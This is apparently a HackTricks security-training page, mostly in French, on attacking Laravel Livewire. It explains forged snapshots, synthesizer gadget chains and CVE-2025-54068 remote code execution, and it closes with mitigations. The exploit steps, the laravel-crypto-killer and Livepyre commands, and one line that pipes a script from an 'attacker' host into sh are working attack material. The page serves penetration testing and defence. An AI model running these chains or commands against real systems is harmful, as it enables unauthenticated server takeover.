Laravel Livewire Hydration & Synthesizer Abuse

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Récapitulatif de la machine d’état de Livewire

Les composants Livewire 3 échangent leur état via des instantanés qui contiennent data, memo et un checksum. Chaque POST vers /livewire/update réhydrate l’instantané JSON côté serveur et exécute les calls/updates en file d’attente.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Quiconque possédant APP_KEY (utilisé pour dériver $hashKey) peut donc forger des snapshots arbitraires en recomputant le HMAC.

Les propriétés complexes sont encodées en tant que tuples synthétiques détectés par Livewire\Drawer\BaseUtils::isSyntheticTuple() ; chaque tuple est [value, {"s":"<key>", ...meta}]. Le cœur d’hydratation délègue simplement chaque tuple au synth sélectionné dans HandleComponents::$propertySynthesizers et parcourt récursivement ses enfants :

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Cette conception récursive fait de Livewire un moteur générique d’instanciation d’objets dès qu’un attaquant contrôle soit les métadonnées du tuple, soit tout tuple imbriqué traité pendant la récursion.

Synthétiseurs qui fournissent des primitives de gadget

SynthétiseurComportement contrôlé par l’attaquant
CollectionSynth (clctn)Instancie new $meta['class']($value) après avoir réhydraté chaque enfant. Toute classe avec un constructeur acceptant un array peut être créée, et chaque élément peut à son tour être un tuple synthétique.
FormObjectSynth (form)Appelle new $meta['class']($component, $path), puis assigne chaque propriété publique depuis les enfants contrôlés par l’attaquant via $hydrateChild. Des constructeurs acceptant deux paramètres faiblement typés (ou avec valeurs par défaut) suffisent pour atteindre des propriétés publiques arbitraires.
ModelSynth (mdl)Lorsque key est absent des meta il exécute return new $class;, permettant l’instanciation sans argument de toute classe sous contrôle de l’attaquant.

Parce que les synths invoquent $hydrateChild sur chaque élément imbriqué, des graphes de gadgets arbitraires peuvent être construits en empilant des tuples de façon récursive.

Forging snapshots when APP_KEY is known

  1. Capturer une requête légitime /livewire/update et décoder components[0].snapshot.
  2. Injecter des tuples imbriqués pointant vers des classes gadget et recalculer checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Ré-encoder le snapshot, laisser _token/memo intacts, et rejouer la requête.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

En tirant parti des primitives d’instanciation de Livewire, Synacktiv a adapté la chaîne phpggc Laravel/RCE4 de sorte que l’hydratation démarre un objet dont l’état public Queueable déclenche la désérialisation :

  1. Queueable trait – tout objet utilisant Illuminate\Bus\Queueable expose $chained public et exécute unserialize(array_shift($this->chained)) dans dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) est instancié via CollectionSynth / FormObjectSynth avec $chained public renseigné.
  3. phpggc Laravel/RCE4Adapted – le blob sérialisé stocké dans $chained[0] construit PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() appelle finalement call_user_func_array($closure, $args) permettant system($cmd).
  4. Stealth termination – en fournissant un second callable FnStream tel que [new Laravel\Prompts\Terminal(), 'exit'], la requête se termine par exit() au lieu d’une exception bruyante, gardant la réponse HTTP propre.

Automatisation de la falsification de snapshots

synacktiv/laravel-crypto-killer fournit désormais un mode livewire qui assemble le tout :

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

L’outil analyse le snapshot capturé, injecte les tuples gadget, recalcule la checksum, et affiche une payload prête à être envoyée /livewire/update.

CVE-2025-54068 – RCE sans APP_KEY

updates sont fusionnés dans l’état du composant après que la checksum du snapshot a été validée. Si une propriété à l’intérieur du snapshot est (ou devient) un tuple synthétique, Livewire réutilise ses métadonnées lors de l’hydratation de la valeur de mise à jour contrôlée par l’attaquant :

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Trouver un composant Livewire avec une propriété publique non typée (par ex., public $count;).
  2. Envoyer une mise à jour qui définit cette propriété à []. Le snapshot suivant l’enregistre maintenant comme [[], {"s": "arr"}].
  3. Construire un autre payload updates où cette propriété contient un tableau profondément imbriqué incorporant des tuples tels que [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Pendant la récursion, hydrate() évalue chaque enfant imbriqué indépendamment, de sorte que les synth keys/classes choisis par l’attaquant sont respectés même si le tuple externe et le checksum n’ont jamais changé.
  5. Réutiliser les mêmes primitives CollectionSynth/FormObjectSynth pour instancier un gadget Queueable dont $chained[0] contient le payload phpggc. Livewire traite les updates forgés, invoque dispatchNextJobInChain(), et atteint system(<cmd>) sans connaître APP_KEY.

Key reasons this works:

  • updates ne sont pas couverts par le checksum du snapshot.
  • getMetaForPath() fait confiance aux synth metadata qui existaient déjà pour cette propriété même si l’attaquant l’a précédemment forcée à devenir un tuple via weak typing.
  • La récursion combinée au weak typing permet à chaque tableau imbriqué d’être interprété comme un tout nouveau tuple, de sorte que des synth keys arbitraires et des classes arbitraires atteignent finalement la hydration.

Livepyre – end-to-end exploitation

Livepyre automatise à la fois la CVE sans APP_KEY et le chemin signed-snapshot :

  • Identifie la version Livewire déployée en analysant <script src="/livewire/livewire.js?id=HASH"> et en associant le hash aux releases vulnérables.
  • Récupère des snapshots de base en rejouant des actions bénignes et en extrayant components[].snapshot.
  • Génère soit un payload uniquement updates (CVE-2025-54068), soit un snapshot forgé (APP_KEY connu) incorporant la chaîne phpggc.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check exécute une sonde non destructive, -F contourne le contrôle de version, -H et -P ajoutent des en-têtes personnalisés ou des proxies, et --function/--param personnalisent la fonction php invoquée par le gadget chain.

Considérations défensives

  • Mettez à niveau vers les builds Livewire corrigés (>= 3.6.4 selon le bulletin du fournisseur) et déployez le patch du fournisseur pour CVE-2025-54068.
  • Évitez les propriétés publiques faiblement typées dans les composants Livewire ; des types scalaires explicites empêchent que les valeurs de propriété soient coercées en arrays/tuples.
  • Register only the synthesizers you truly need and treat user-controlled metadata ($meta['class']) as untrusted.
  • Rejetez les mises à jour qui changent le type JSON d’une propriété (e.g., scalar -> array) sauf autorisation explicite, et re-derivez le synth metadata au lieu de réutiliser des tuples obsolètes.
  • Faites pivoter APP_KEY rapidement après toute divulgation car il permet l’offline snapshot forging, peu importe les correctifs appliqués à la base de code.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks